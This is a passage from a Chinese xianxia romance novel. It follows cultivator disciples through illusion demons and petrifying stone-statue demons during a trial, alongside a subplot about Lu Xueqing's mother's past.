问玉变戏法似的地从袖中掏出一个皮质剑鞘,恰与断龙的形状相契合,“临时托天工阁的人打造,虽不是原剑鞘,但应当可以使用。” 他这样,好像前日那个恶狠狠说不会放过她的问玉消失了一样,商怀笙不敢接。 问玉挑眉,“怎么,怕我害你?” “你不是要报复我吗?怎么好端端地又给我这个。” 商怀笙说出心中所想,伸手去接,不小心擦过问玉的手背,商怀笙一顿,迅速与他分开,将断龙塞进剑鞘。 “你说呢?你以为我会怎样报复你?” 他眼里带着促狭的笑意,一时让人看不清是威胁还是逗弄。 商怀笙想了想,问道:“你在这上面下毒了?” 问玉笑容更深,“原来你就是这样想我的吗?” “那烈火蛙的毒现在还会发痒。”商怀笙瞪他一眼,又很快低头,做出乖巧的模样,“师叔,我真的知错了。” “我说了,不许叫我师叔。”他脸上的笑容消失,又严肃起来,“等回四水阁,我会带你去见你师父。” 商怀笙一愣,“见他做什么?” “讨论一下我们成婚的事情。” “……” “在囚龙谷我便说要对你负责,此事不会改变。” 只不过当时是情势所迫,现在的心境却是不同了。 “……你疯了?!!” 商怀笙猛地大叫起来,吸引了众人的目光,问玉却又换上浅笑,转身离去,留她一人在原地。 天空落下一声惊雷,恰如商怀笙此时的心境,天色阴沉得可怕,墨绿色天空如同腐烂的苔藓,一阵风从海面吹来,带着一股子腥臭味。 商怀笙的手忍不住颤抖着,看着被宋惜光他们簇拥起来的问玉,心头的震惊久久挥之不去。 问玉是不是被夺舍了? 怎么会说出这么可怕的话! 她一定会被宋良白打死的。 商怀笙欲哭无泪,将断龙背在身上,活像个视死如归的战士。 “刚才怎么了?”元妄看到了那边的情况,上前询问。 “问玉给了我剑鞘。”商怀笙说。 不过这剑鞘附赠了十分苛刻的条件。 元妄问:“他是不是威胁你了?” 商怀笙摇头,喉间有一瞬的哽咽,“没事。” 乔意晚上前来,站到她身后打量,“这就是传说中的断龙?好大的一把剑,我还是第一次见。” 断龙有半人多高,商怀笙背在身后,剑柄会从脑袋上冒出来,她个子高挑,但看着纤细,背着这样一把重剑,看起来格格不入。 她虽未在人前用过断龙,但她身负神器的消息早已不胫而走,这其中肯定少不了凌盛的宣传。 妙星也凑过来,伸手想摸一摸断龙剑柄,又突然缩了回去,“我听师父说起,你这把剑威力十足,可惜弟子论道取消了,不然还能瞧一瞧商姑娘的飒爽英姿。” 妙星之前话一直很少,一下子说这么多,几人都有些惊讶,多看了他几眼,他又羞涩起来,躲到江广益身侧。 南宫汀的目光从商怀笙身后扫过,并没有太大的兴趣,“准备的差不多了,咱们是不是应该进去找神皇弓了?” 其他几队也已经收拾好,朝着森林深处进发。 商怀笙看向元妄,元妄却让她来发号施令,商怀笙想了想,问妙星,“你了解这里的情况吗?” 妙星点头,从口袋里掏出一份地图来,是之前商怀笙让他画的潮海阁地图,没想到他不仅画了出来,还标注出了每一处常见的妖物种族。 “你有这种好东西,竟然不早拿出来?”乔意晚把脑袋伸过去,惊讶不已,“这东西是你们潮海阁弟子人手一个吗?” “这是我自己绘制的,只有我有。”妙星脸上露出羞涩的笑意,“可能并不是十分的精准,是我翻阅古籍,加上巡逻弟子的描述绘制出来的。” 乔意晚竖起大拇指,“那也很厉害了。你早说你会画这个,大家肯定都抢着要你。” 妙星哂笑一下,没有说话。 “我们现在的位置……是这里吗?”商怀笙指着上面一处画满叉叉的地方,“这里是幻月海?这里这么阴森,哪里有月亮了?” 妙星指着天空中一个遥远的小黑点,“那就是月亮。” 商怀笙眯起眼睛,高高抬起头,“看不清,难怪叫幻月海,都是幻想出来的。” 妙星抿唇,小声说:“你真是胸无点墨。” 江广益笑了一声,商怀笙看过来,他又低头看地图,“再往前的天音林海,便是这片森林了,这个圈圈是什么意思?” 妙星眯起眼睛,深吸一口气,“是溶洞,又叫无间鬼域,目前进去的人里就没有能出来的,它的入口时刻变化,会隐藏在树林中,一不小心便会走错,进入其中。” 他说完,几人的神情也严肃起来,“那咱们得小心。” 商怀笙叫了一声丰宝,让他们一同前往,乔意晚看着她,对她这行为很不解,“你难道不知道,你们现在是竞争的关系吗?” 商怀笙也同样不解地看向她,“我们是同门,一起行动不是更安全?” 乔意晚耸耸肩,没再说话,他们双月岛上可不会这么在意同门情谊,触及利益拔剑就砍是他们的信条。 商怀笙本来还在犹豫要不要告诉问玉一声无间鬼域的事情,一抬头看见他们已经进了森林,便没有开口,带着大家一起朝着那阴森的地方行进。 * 宋惜光手握罗盘,一进入森林,便失了方向,罗盘上的指针飞快转动,无法停下,鼻尖萦绕着松针香味,刚才还干枯如被雷击过一样的树木,在他眼前变得郁郁葱葱,并以肉眼可见的速度生长着,逐渐长成参天大树,遮天蔽日。 宋惜光深吸一口气,心情由刚开始的迷茫变作恐慌,他很清楚自己中了幻术,修行几十年,他也算是身经百战,竟然对此没有一点防备。 他封住自己的穴道,取出一枚细针扎入自己的拇指,鲜血流下,疼痛感袭来,眼前的场景也在急速变化,绿树被染红,连褐色树干也变成暗红色,树枝联纵交错,织成一张巨网,把天空也浸成了深红色。 没有用! 宋惜光的拇指几乎快被细针扎穿,但他已经变得麻木,感觉不到疼痛。 师叔——! 宋惜光转头想要请求问玉的帮助,却发现身后空无一人,只有茫茫血雾。 * 商怀笙很快找到了问玉一行人,他们的身影在林间穿行,五人的队伍被形状怪异的枯木分割成好几个部分。 他们明明离得很远,但商怀笙很快赶上了他们,看到宋惜光端着罗盘面无表情地在前面走着,脸色铁青,不知道是不是被这里的环境映照的。 商怀笙低头看向自己的罗盘,发现宋惜光走的方向似乎有点不大对劲,她把丰宝叫过来,两人拿起罗盘一对比,果然与宋惜光所走的方向相反。 怎么回事儿? 商怀笙说:“他们是不是走反了?要提醒一下吗?” 丰宝说:“得了吧,他们是三山宗的人。而且有问玉师叔在,不会有问题的。” “但是这里很危险,虽然说……” 商怀笙感觉宋惜光走路的方式有些怪异,他两条腿在动,上身却完全静止,如果用手挡住他的下半身,会觉得他像是在半空中飘浮一样。 嘶—— 商怀笙犹豫片刻,还是大声喊道:“喂,你们是不是走反了!” 她一开口,队伍最前方的宋惜光猛地转过头来,那张铁青的脸上竟然长着一张血盆大口,扯出诡异的弧度,发出“嘿嘿”的笑声,将身一扭,朝着商怀笙的方向飞来。 靠——这是什么东西! 商怀笙吓得一个激灵,立马反手去拔剑,剑还没扒出来,“宋惜光”身后便飞出一条闪着金光的绳索,将他牢牢捆了起来。 问玉单手拎起“宋惜光”,身后四人已经吓得不知所措,像小鸡仔一样窝在问玉的身后。 问玉抬手,飞过来一条金绳,冲商怀笙喊道:“林里有幻妖,用绳子你们绑在一起,免得走散了。” 被捆起来的“宋惜光”还在奋力挣扎,商怀笙心有余悸,将绳子捆在腰间,又递给身后的南宫汀,“绑起来吧。” 南宫汀一直没伸出手,商怀笙抬起头,对上一张从未见过却有几分熟悉的脸,一个中年妇人,眼眶里流着血,冲她哭嚎:“呜呜……救救我,救救我家孩子……” 商怀笙浑身一抖,刹那间,刚才还在身后的众人和不远处的问玉都消失了,只有眼前这个鬼魅一般的妇人,伸出沾满血腥的双手,牢牢地抓住了她的胳膊。 第53章 第五十三章 罗生镜 许是太久没有经历过这样的事情, 商怀笙的心头一颤,想着她马上就要大骂自己是个杀人不眨眼的魔头,是个可怕的怪物, 如果手上有两把青菜或者鸡蛋, 可能也会顺势砸在自己头上。 但对方不过是个小妖怪,只是那样抓着她,本以为商怀笙会害怕, 但商怀笙只是静静地望着她,打量着她的脸颊,思考着她的身份。 “救……救救我……”她做戏做的都有几分迟疑,保持着一个姿势,不敢贸然动作。 商怀笙目光描摹她的眉眼,鼻子, 嘴巴, 被鲜血覆盖的颧骨, 她掏出手绢,擦去她眼角的血渍, 在那对柳叶弯眉中, 终于知道了这股熟悉感从何而来。 她和陆雪青长得很像,尤其是眉毛与眼睛,简直是一个模子刻出来的。 “或许,你是陆雪青的母亲吗?” 商怀笙开口, 对方的神情一滞, 紧接着血泪便如浪潮般喷涌而出, 她口中发出“嗬嗬”的哭声,僵硬地转动脑袋,像被人提线操纵的木偶人。 血水很快模糊了她的整张脸颊, 蔓延至脖颈,眨眼的功夫,她浑身都被血水覆盖,黏稠,散发着微微的腥臭,在她痛苦的悲鸣中,将她完全吞噬,溶解,最终连她自己也化作一摊血水,溶入松软的泥土之中。 商怀笙没能听到她的回答,也心知这只不过是幻术,这小妖只是化作了她记忆深处的人物,未必知道自己所化之人的身份。 但她还是因为这人的出现而变得心绪复杂起来,明明从前不愿意回忆幼时种种,现在却觉得自己似乎遗忘了什么重要的事情。 她闭上眼睛再睁开,看到大家都已经用绳子绑在了一起,一个个都处于静止不动的状态,脸色的神色或惊恐或悲伤,皆处在幻境之中。 “师兄。” 她率先去叫离自己最近的元妄,与其他人不同,元妄脸上盛满幸福的笑意,双臂举在前胸的位置,像在抱着什么东西。 她晃了晃元妄,对方也没有任何反应,商怀笙想加大力度,问玉的声音传过来,阻止了她。 “幻妖的幻术不能这么解开。” 问玉来到她身后,伸手摸到元妄脑后,在他脖颈处拉出一条深灰色的细线,在食指与拇指间轻搓,线端冒出一点蓝光,犹如被点燃一般缓缓向上蔓延。 “幻妖不会直接伤人,但会蚕食人的意志,等他们变成行尸/走/肉后再吞食。等这条线燃尽,他便能醒过来了。” 做完这些,问玉将目光转到商怀笙身上,“你竟然能自己突破幻境,清心诀没白背。” 商怀笙说:“我见到了一个人,我问她是不是陆雪青的母亲,她便哭着消失了。” 听到这个名字,问玉眼神微暗,“你心里日夜想着陆雪青,连幻境都是与他相关。” 他的言语满是讥讽,不满之意几乎要刺到商怀笙脑袋上了,商怀笙抱起胳膊,没好气地反问:“那你呢,你看到了什么?” “我……”问玉顿了顿,抬了抬下巴,“看到了你。” “我?”商怀笙感觉自己的心脏像被什么攥了一下,有些发紧,像是盈满了某种东西,将要溢出来,“你看到什么了?” “看到你要杀我。” “嘶——怎么可能,要杀也是你更想杀了我吧!” 说出这么惊悚的话,问玉脸上竟然带了笑,伸手拂过她发间,拈下一片枯黄的残叶。 商怀笙还想追问,但周围的人已经陆续醒过来,没再给他们说话的机会。 南宫汀取出可以清脑醒神的药丸来,分给他们服下,“大意了,没想到这里居然会有幻妖。” 元妄的神色怅然若失,捏着那枚药丸没有吃,似乎还在回味刚才的幻境。商怀笙凑上前去,问他都梦见了什么。 元妄注视着她的脸,脸上绽开笑意,将药丸服下,“我梦见我与秦湫成亲,你成了我们的女儿。” “啊?吓人!师姐听到定要起一身鸡皮疙瘩。” 商怀笙做出被瘆到的模样,搓了搓自己的胳膊,元妄的话像是玩笑,亦真亦假。 元妄与秦湫之间是没有男女之情的,秦湫修仙前成过亲,只可惜夫君早逝,元妄身边桃花不断,对秦湫更像是亲人之情。 他怎么会看到这些,商怀笙心中好奇,元妄却已经去了丰宝那边,询问他们的情况。 “商怀笙!你瞧见什么了!”乔意晚蹦过来,眼睛肿着。 刚才她在幻境里嚎啕大哭,商怀笙听见了。 “我看到了一个可能死在我手里的人。” “嚯!冤魂索命!你知道我看到什么了吗?我看到了我娘,我已经快二十年没见她了,她给我做了清汤面,让我回家去……我都不想出来。” “我也许久没见我娘了。” 商怀笙顺着她的话说下去,她发现乔意晚的话比平时更多更密,或许是见到了已逝的亲人,心里万千思念,需要找个发泄口。 环顾四周,大家都失去了刚开始的斗志,一个个像是霜打的茄子,垂头丧气,愁容满面,他们从幻境中清醒了,但没有完全清醒,有些东西留在了幻境中。 宋惜光最先中了幻妖的幻术,他蹲在地上,握着罗盘,满脸的悔恨与无措,痛恨自己竟然毫无防备,这样轻易地就被幻象困住,又该怎么面对信任自己的队员。 眼前落下一道黑影,宋惜光抬手挡在额头上,不想让对方看到自己的神色。 “惜光,哭完了就收拾收拾起来,还要继续前进。” 听到问玉的声音,宋惜光鼻尖一酸,本来没有的眼泪也涌到眼眶,“师叔,我没哭。” “幻妖已经销声匿迹多年,它们可以算得上是当下所有幻术幻境的起源鼻祖,不能抵挡是正常的。” “师叔……侄儿无能。” “在场无一人幸免,不是你的问题。” “师叔,我这样真的能带领好队伍吗?” “……” 宋惜光听到问玉深吸一口气,他自顾自地沉浸在悲伤之中,全然没注意问玉的耐心已经耗尽了。 他一改刚才劝慰时的柔和语气,冷冰冰地说:“你觉得不能就走,现在还未深入冻林,传送符应当能起效,在这里哭哭啼啼可没用,刚进来便是这幅模样,往后的路你肯定也是走不下去的。” “……” 对味了,这才是他师叔。 宋惜光抹了把眼泪,看到不远处的商怀笙还满脸笑意嘻嘻哈哈,更觉得丢人,起身朝他作揖,“师叔所言极是,侄儿知错。” 问玉抱着胳膊,轻轻点头,“知错就改,罗盘在你手里,告诉大家接下来该怎么走。” 宋惜光握紧罗盘,指针不再转动,坚定地指向一个方向,合抱交缠的枯木之中,一条幽深小径延伸至远方,不知会通往何处。 * 镇化山,日升天阁,观礼台。 距离境外试炼开启已过去半日,往年在日升天阁外的罗生镜都能够看到里面的景象,今年却迟迟没有开启。 凌云一早便等待罗生镜旁,想了解凌盛的情况,从晨光熹微等到烈日高照,罗生镜一点反应都没有,镜面灰蒙蒙的,在偌大的石台之上,像是一座历经风霜却毫不起眼的日晷。 “为何不开启罗生镜?” “境外试炼暂停多年,连这罗生镜都闲置了。” “难不成是怕咱们看到长眠海内部的景象?” “我看他们根本就没办法知道里面的情况吧,时隔数年第一次开启境外试炼,便去了那样危险的地方,别看那些进去的人都是人中龙凤,其实不过是被当成了探路的棋子罢了。” “你啊,吃不到葡萄就说葡萄酸,没能去成,心里嫉妒吧!” “我才不屑于去那种地方,你难道忘了,这些年多少悟道期修士都折损在里面?” “这都过午了,怎么还不见太虚殿的人来。” 周围聚集的人群议论纷纷,凌云盯着那没有黯淡无光的镜面,心中怅然,隐藏在心底的担忧也预发变得浓烈,原本对于太虚殿的猜疑也在加重。 多数人只是抱着看热闹的心态过来,但也有人真心关注着里面的情况,关心着自己的亲朋好友,譬如凌云,譬如陆雪青。 自南宫汀对他说完那句话后,陆雪青的心绪便一直无法平复。 他在谷主手下修行不过几个月,口头称呼他为师父,却并未行拜师礼,在天泉医谷也以养病为主,闲暇时跟着南宫汀学习医学基础,与谷主的接触并不算多。 用南宫汀的话来说,谷主不愿意见他,是不想想起自己那个不孝的徒弟,为了一个男人弃他而去,让医谷蒙羞。 谷主的确也在陆雪青面前露出遗憾与追忆的神态,似在透过他去看另一个人,却从未在他面前提起过他母亲。 陆雪青并不完全相信南宫汀的话,当然也并不完全信任谷主这个看似和蔼可亲的长辈,他们对陆雪青亲近过头,倘若陆雪青只是个七八岁的孩子,或许会依赖信任他们,但他已经官场摸爬滚打数年,对这种突然的善意自然会保持警惕。 陆雪青正望着罗生镜出神,全然没注意到身边多了个人,肩膀上被人用手指戳了戳,陆雪青转过身,是个只有过点头之交的天泉医谷弟子。 “陆公子,谷主让我给你带个话,罗生镜今日不会开了,你若是得空,便去荔香苑后的曲水清阁见他。” 陆雪青没想到来的这么快,心底一沉,问道:“谷主说是何事了吗?” 对方摇摇头:“谷主只让告知你一声,陆公子得空便尽快过去,别让谷主久等。” 说完,他便向后退去,很快消失在人群中。 自从到镇化山,陆雪青便没再见过谷主,今早南宫汀才嘱咐过,她一走,谷主便来寻他,陆雪青难免多想。 可谷主待他不薄,为给他疗伤,耗费许多珍贵药草,陆雪青不会因为南宫汀一句没头没尾的话便刻意避开他。 他又等待片刻,确定罗生镜不会开启后,便向着荔香苑的方向走去。 第54章 第五十四章 问玉是十分记仇的 曲水清阁位于镇化山边缘, 靠近太虚殿的主峰观日峰,遥遥望去,悬浮于终年不散的云雾之中, 青灰色屋檐向上翻卷, 犹如一只想要振翅高飞却无法逃脱的燕子所展开的燕尾。 陆雪青立于阁楼前,远眺对面的观日峰,红日高悬, 映照着琉璃瓦光华四溢,宏伟巍峨的建筑在雾气中若隐若现。 他心道太虚殿真是小气,都说九天盛会是修真界最受瞩目的盛会,交由太虚殿主办,他却选了这个地方,主峰瞧着便更加宽阔气派, 非太虚殿弟子却不得随意出入。 这号称仙门第一的宗门也不过如此。 陆雪青沉静而立, 抬手扣门, 檐角风铃轻响,大门随声而开, 露出里面的广阔天地, 层层阶梯,仿佛直通云霄。 “雪青来了。” 池修的声音传过来,陆雪青仰头,二楼泻下一道亮光, 刺得他闭上眼睛。 再睁开眼, 池修已经来到他面前, 一袭窄袖蓝衣,干净利落,眉目间还是三十岁的模样, 头发却已经花白,挽袖赤膊,额上还有汗水,像是刚刚忙完的样子。 陆雪青第一次见他便觉得,他像是铁匠木匠什么匠,总之不像是个学医的。 “晚辈拜见谷主。” 他不习惯称呼池修为师父,池修也从不勉强他。 “这些虚礼就免了,雪青,来拜见一下你的……”他一顿,笑了下,转头看向身后,“他该叫你什么呢?舅舅,还是叔叔?” 陆雪青刚进门时屋中还空无一人,现在却凭空出现了另一个男人,也是三十岁出头的模样,黑袍罩身,只露出一个脑袋,鬼魅一般飘过来。 他五官秾丽,浓眉大眼,鼻梁高挺,唇色殷红,每一项单拎出来都称得上优越,但是组合在一起,让他整张脸都呈现出一种怪异突兀的感觉。 那人阴沉着脸,打量着陆雪青,像在审视一件不合格的器物。 “不像书文。” 他的嗓子似乎受过重伤,说话时撕扯着声带,发出的声音也叫人心底发毛。 陆雪青忍不住轻蹙眉头,陆书文,是他母亲的名字。 池修笑道:“哪里不像了,我见他第一眼,便知道他是书文的孩子。” 男人摇摇头,嘴巴努起来,满眼的不认同。 池修向陆雪青介绍道:“这位是太虚殿长老侯之,悟道期尊者。你母亲拜入天泉医谷之前,便是在他身边长大。” 陆雪青错愕抬眸,太虚殿,长老,这两个词组合在一起,让人感觉这个人年纪已经很大了,说不定会有上千岁。 母亲在他身边长大,那他母亲得多大年岁了? 见陆雪青这幅表情,侯之扬唇轻笑,“这倒是与书文有几分相似,我在一百五十三年前捡到你的母亲,她生下你时,应该在一百四十岁左右。” 一百四十岁……那他爹呢? 侯之像是读懂他内心所想,轻嗤一声,道:“你爹那个小兔崽子,二十出头,你娘也是为老不尊,仗着自己容颜永驻,做出这老牛吃嫩草的行径。” 陆雪青:“……” * 长眠海似乎没有昼夜之分,常年笼罩着一层迷雾,不见太阳。 商怀笙不知道时间过去多久,但她很清楚自己已经很久没有进食了,她的辟谷和其他人不同,虽然不进食也可以维持生命,但她会很想吃东西,主要是嘴馋。 她饿的实在走不动了,便扯了扯绳子,“师兄,咱们走了多久了?” “一个时辰。”元妄回头,“你饿了?” 商怀笙点点头,他便掏出一块油纸包裹的点心递给她,“吕悠做的草药糕,垫垫肚子。” “多谢师兄。” 商怀笙笑出两排小白牙,拆开油纸便要往嘴里塞。 “咕噜噜——” 不合时宜的声音在此时想起,商怀笙动作一滞,几人的目光都循声落在妙星身上。 妙星的脸颊瞬间变得通红,他弯下腰,捂着肚子,支支吾吾地说:“我、我还没有辟谷。没事的,虽然还没辟谷,但我也可以三天不吃饭的!” 呀。竟然都没辟谷。 这人到底多菜啊。 一瞬间大家的目光转移到商怀笙身上,她嘴边的糕点吃也不是,不吃也不是,她犹豫半天,还是把油纸递过去。 “你吃吧。” 妙星慌张摆手,“我真的不用!我自己有带的干粮!” 商怀笙硬塞到他手里,“我已经辟谷了,只是解馋而已,你得干粮还是留着吧,万一我们要待很久。” 妙星接过去,红着脸说了声谢谢。 商怀笙转过身,对上元妄的视线,“我这里还有旁的吃的。” 和商怀笙出门,他总是会带上许多吃食。 “不必了,先存着吧,我也不是很饿。” “我们怀笙什么时候这么懂事了?”元妄调侃道。 “我可是队长,当然要照顾小朋友。” 商怀笙环顾四周,丰宝和宋惜光的队伍都在附近,此时雾气不怎么重,能看到他们的身影,用绳子绑在一起,串成一串。 他们也停下来休息,一阵微风吹过,问玉挺拔的身影便飘入商怀笙的视线,他侧着身子,余光似乎能看到商怀笙的方向。 商怀笙想起那日的亲吻,抿起嘴唇,谁能想到这样一个看起来清风霁月的人,也会有那样的一面。 美人垂泪,我见犹怜。 从前她担心问玉恢复记忆,只敢在心底想一想,现在他都想起来了,还主动亲她,他们是不是有机会重温旧梦?毕竟商怀笙觉得那时的体验还不错。 啧,好危险的想法。 要是被问玉知道了……反正都已经这样了,商怀笙也不怕他知道。 她兀自想得出神,那边的问玉忽的转过身来,目光投向她的方向,几不可察地微皱眉头,五官在雾气里朦朦胧胧。 商怀笙冲他露出笑容,他身形一顿,满不在乎似的背过身去。 “你笑什么呢?” 乔意晚过来,顺着她的视线望过去,也勾起唇角,感叹道:“问玉道长美貌,果然名不虚传,令人心驰神往。” 商怀笙挑眉,目光转到她身上,“你第一次见他?” “久闻大名,只是以前并未见过。”乔意晚压低声音,“我听说潮海阁的桑月圣女很喜欢他呢,那位我是见过的,说一句天仙下凡都不为过。” 商怀笙沉默不语,点点头,乔意晚接着说:“两人相识百年,也是九天盛会,也是境外试炼,两人都是第一次参加,却遇到百年难遇的险境,参与试炼的弟子折损过半,是问玉以一己之力将众人带出,从此桑月圣女便倾心于他。” 商怀笙还是头一次听说这件事,十分好奇,“何种险境?” 乔意晚摇头,“这个我就不清楚了,知道的人都讳莫如深,不肯细说。” 商怀笙哦了一声,心想原来是有救命之恩,难怪桑月会这样执着。 百年前……百年前她可能还活在上一世呢,商怀笙第一次对她和问玉之间的年岁差距有了实感,问玉已经经历过意气风发的年岁,与众多好友同赴九天盛会,赛场上英姿飒爽,万众瞩目。 现在的问玉沉稳冷淡,压着长辈的身份,虽偶尔也会显露出狡黠毒舌的一面,但终究和年少时有所不同。 商怀笙感慨岁月匆匆,一转头妙星不知何时凑了过来,瞪着眼睛盯着她们二人,目光炯炯,盯得二人心里发毛,各自扭过头去。 “我师父对问玉道长只是景仰之情,她才不像传言那般,对他穷追不舍呢!” 乔意晚扬眉,“当真?不是说她在问玉闭关期间追去三山宗,问玉连出来见她都不愿?” “才不是!”妙星气鼓鼓地说,“她是去寻年玉道长,有要事相商,都怪当时凌枫院的也在,多嘴传了出去,演变成现在这些谣言!” “凌枫院当年的宗主还是凌云他爹,最爱记录仙门艳事,还要添油加醋写成书来供大家传阅!” 妙星气得咬牙,“我师父是感念问玉道长恩情,但她才不会喜欢那种人呢!” “那种人?”南宫汀也贴过来,笑道,“看来你对问玉道长意见颇深啊,有什么不知道的事情,说来听听?” 商怀笙一回头,发现大家都靠了过来,果然八卦是最能吸引人的。 妙星对上数双好奇的目光,吓得一个激灵,紧张地咽了下口水,“这、这……” 这八卦的主角就在不远处,隔着十几米的距离,修仙之人五感又格外灵敏,万一被他听见,回头再怪罪于他。 妙星可是听说,问玉十分记仇的。 他支支吾吾半天说不出来,正为难之时,远处忽然传来一声巨响,像是有东西爆开,西方树林升起袅袅黑雾,到了半空中,便向四周蔓延开来,似要将这片森林笼罩。 大家都被巨响吸引,无人在意妙星,他先是松了口气,可是随着腰间的感妖铃开始剧烈震动,发出催命般的响声,妙星的心又提到了嗓子眼。 “感妖铃异动,附近有很强的妖气。”妙星道,“不是巨妖,便是有妖群。” 商怀笙乔意晚等人已经握紧武器,将他和南宫汀几个医修包围起来,盯着声音传来的方向,严阵以待。 第55章 第五十五章 束神石像 黑雾弥漫, 空中落下犹如纸片燃烧后的灰烬一样的东西,散发出淡淡的烧焦的味道,落在地上或是衣服上便融化消失。 南宫汀拿出一个药囊, 快速将里面的药丸分发给众人, “这东西闻着像是能够致幻的焦木散,像把醒神的药吃了,千万不要大意。” 商怀笙手中的断龙微微泛着寒光, 她屏息凝神,耳朵微微一动,听见远处传来急促的脚步声和兵器碰撞的声音,隐约还有碎石滚落的声响。 “小心!”商怀笙低喝一声,几人迅速解开身上的金绳,各自隐蔽。 刹那的功夫, 一队修士从树林中窜出, 约莫七八人, 跑得乱七八糟,狼狈不堪, 为首的是个紫衣女子, 手中长剑染血,发髻散乱,却掩饰不住眉宇间的英气。 “是太虚殿的何朝兰。”乔意晚惊讶地低语。 商怀笙也认出她身后的凌云与李迎灯,两人紧跟在何朝兰身后, 模样比何朝兰更加狼狈, 凌云的衣服被扯得破破烂烂, 半个身子都露在外面,他一边逃跑,一边艰难地用剩余的布料遮挡裸-露的身体。 她有几分想笑, 但是完全都笑不出来,因为几人身后追逐的并非什么奇形怪状的妖物,而是一尊灰黄石像,身形和人类无异,面上雕刻出人类的五官,挂着一丝诡异的微笑,行走时同手同脚,看起来笨重,速度却极快,走出裙裾飘飘的感觉,身上还在不停地掉落石块。 “这是什么妖怪?!” 丰宝惊呼一声,话音未落,便见李迎灯队伍中的最后一人被那石像抓住,它口中发出丝丝的像是笑声一样的声音,手里抓着的胳膊便瞬间变成了和它一样的灰黄颜色。 “师兄,救我!” 那人竟是常嘉石,他神色狰狞绝望,朝着李迎灯的方向求救,李迎灯回头看了一眼,并未理睬,径直向前跑去。 常嘉石的面容便定格在这份绝望中,成了一尊石像,那妖怪稍一用力,它便裂个粉碎。 而那妖怪轻触枯木,枯木也瞬间变成了石像。 这惊异的一幕让众人都心生恐惧,商怀笙正不知该怎么办时,李迎灯他们已经发现了他们,为了转移妖怪的注意,他们眼神迅速交流一番,竟故意将妖怪引来。 “李迎灯!你真是个混蛋!” 商怀笙怒骂一声,拔腿就跑。 一群人便被这只石像妖追逐着在林海里狂奔,商怀笙虽时时关注着大家的位置,但毕竟人太多,这片森林又过于广阔,很快她便失去了其他人的动向,只能时时关注着元妄,与他同行。 “师兄,这是什么妖怪啊!” “像是顽石妖,是石头所化!但顽石妖大都胆小,也没有能将人变成石像的本事!” “肯定是在这种地方变异了啊啊啊啊啊!” 李迎灯几人就在前方,商怀笙气得不行,加快脚步追上去,“我死我也得拉着他们一起死!” 她莽足了劲,却突然发现前面的几人停下了脚步,四周的视野也变得广阔起来,原来他们已经跑出了天音林海,又回到了幻月海。 李迎灯几人看着波涛汹涌的海面,不敢贸然上前,四周除了森林便是沙滩,一览无遗,也再没可以躲藏的地方。 商怀笙出声嘲讽,“你们怎么不继续跑了?” 李迎灯气喘吁吁,瞪了她一眼,累的不想说话。 凌云道:“遇到你们也是晦气。” 商怀笙冷哼一声,“你还是先穿好衣服再说话吧。” 凌云的脸变得和何朝兰剑上的血一样红,本以为大家都在逃命,不会有人关注,偏偏商怀笙还揪着不放。 他们都被逼到海边,商怀笙将元妄护在身后,发现这妖怪放慢了脚步,似乎是知道已经将他们逼入绝境,缓慢地靠近着,享受猎物惊恐的快/感。 商怀笙数了数在场的人,李迎灯的队伍有四人,她,元妄,还有妙星都在,其他人都散在森林中,这怪物偏偏追着他们,是为了什么? 明明是石像妖,为何何朝兰的剑上会有血? 商怀笙来不及细想,便又听见林中传来脚步声,树林晃动,那些本来已经跑散的人,正从四面八方聚集过来,而他们的身后也跟着一只石像妖。 “这东西居然会分身!” 短暂分开之后,她的队伍重聚,问玉也来到商怀笙的身边,跑了这么久,他竟然一点都不喘,也是众人中最淡定的一个。 “不是分身。”问玉的目光从眼前的五尊石像上扫过,“你看他们的脸,是不一样的人。” 商怀笙光顾着逃命去了,哪里顾得上看它长什么样子,现在定睛一瞧,果真有男有女,发髻与服饰也各不相同。 它们像是有目的般将他们逼到海边,便不再前进,聚拢在一起,身上的碎石摩擦出窸窸窣窣的声音,似在交谈。 商怀笙转头看向一侧的凌云,问道:“你们从哪里招惹到这种妖怪?搞得这样狼狈?” 凌云咬住嘴唇,瞪她一眼,目光掠过她身后的问玉,脸上浮现出羞赧的神色,冷哼一声,不肯回应她。 还是一旁的何朝兰开口,她看起来冷冷清清,声音倒是有几分甜美,“我们一进来便到了林海深处,四周尽是断壁残垣,像是某种祭坛,在探寻时有人误触机关,唤醒了这些怪物。所有被它们碰到的东西,都会变成石块。” 她说着,身后的何穆竹举起手上的长剑,剑尖直到中间部分都已经变成了石块,与下半部分铁衔接的部分也已出现裂痕,将断未断,显得有几分滑稽。 商怀笙又有点想笑,嘴角刚扬起一个小小的弧度,便听见问玉说:“你们折损了多少人?” 何朝兰几人面面相觑,他们的沉默已经说明了事态之严重,问玉又询问一遍,何朝兰才道:“约莫二十人。” 众人皆是倒吸一口冷气,商怀笙心里笑意全无,只觉得荒唐,“二十人?!他们是死了还是……” 何朝兰犹犹豫豫地说:“都死了。” 乔意晚问:“连周衡呢?” “……也死了。”何朝兰说。 乔意晚双目发直,愣愣地说了一句,“她可是合灵升益期修士,就这样死了?” “……” 若说昨日他们中有人还只当是一场寻常的历练,那么今日在这残酷的事实面前,也开始认识到这场以神器为饵的试炼之下隐藏着怎么样的危险。 商怀笙久闻连周衡大名,知晓她既有天赋又勤奋刻苦,还想着有机会能与她切磋切磋。 人固有一死,神仙也有神陨之时,但在商怀笙的认知中,像连周衡这样的天之骄子,就算是死也该死的轰轰烈烈,如潮海阁圣女一般为苍生而亡,世人提起,无不缅怀感慨……可她死的这样轻巧,连尸体都不见。 始作俑者聚集在一起,一动不动,似乎又成了没有生气的石像。 商怀笙望着那些石像呆板的模样,忽然觉得他们面目可憎起来。 “现在该怎么办?就在这里干站着?” 商怀笙问道,手握断龙,蠢蠢欲动。 问玉瞥她一眼,刚张开嘴,便被元妄抢了先,“怀笙,不要轻举妄动。” 问玉顿了顿,也道:“它们将我们赶到这里便不再动作,或许只是想将我们驱逐。” 商怀笙斜睨身侧的李迎灯,“它们驱逐的是你们。你们闯入了它们的地盘。” 李迎灯脸色铁青,“九幽幻境将我们带到那里,我们又不是有意闯入。” 商怀笙:“是吗?既然如此,何朝兰剑上的血迹因何而来?” 此言一出,何朝兰又成了众人目光所聚,她的脸色乍青乍白,嘴唇翕动,支支吾吾说不出话来。 “我,我是因为……” “是有人被石化时抓住了小妹手臂,小妹为求自保。” 何穆竹替她辩解,将何朝兰挡在身后,“这妖怪能力极强,在被石化之时,只要有丝毫的粘连,便会被同化。” “这样强的怪物,竟然毫无记载,可能吗?”宋惜光提出质疑,“何况从前也并非无人来过这里,我师祖便曾深入长眠海,为何从未听他提起这种怪物。” 他口中的师祖是年玉,不只是年玉,长眠海外常年有人巡逻,竟也从未见过。 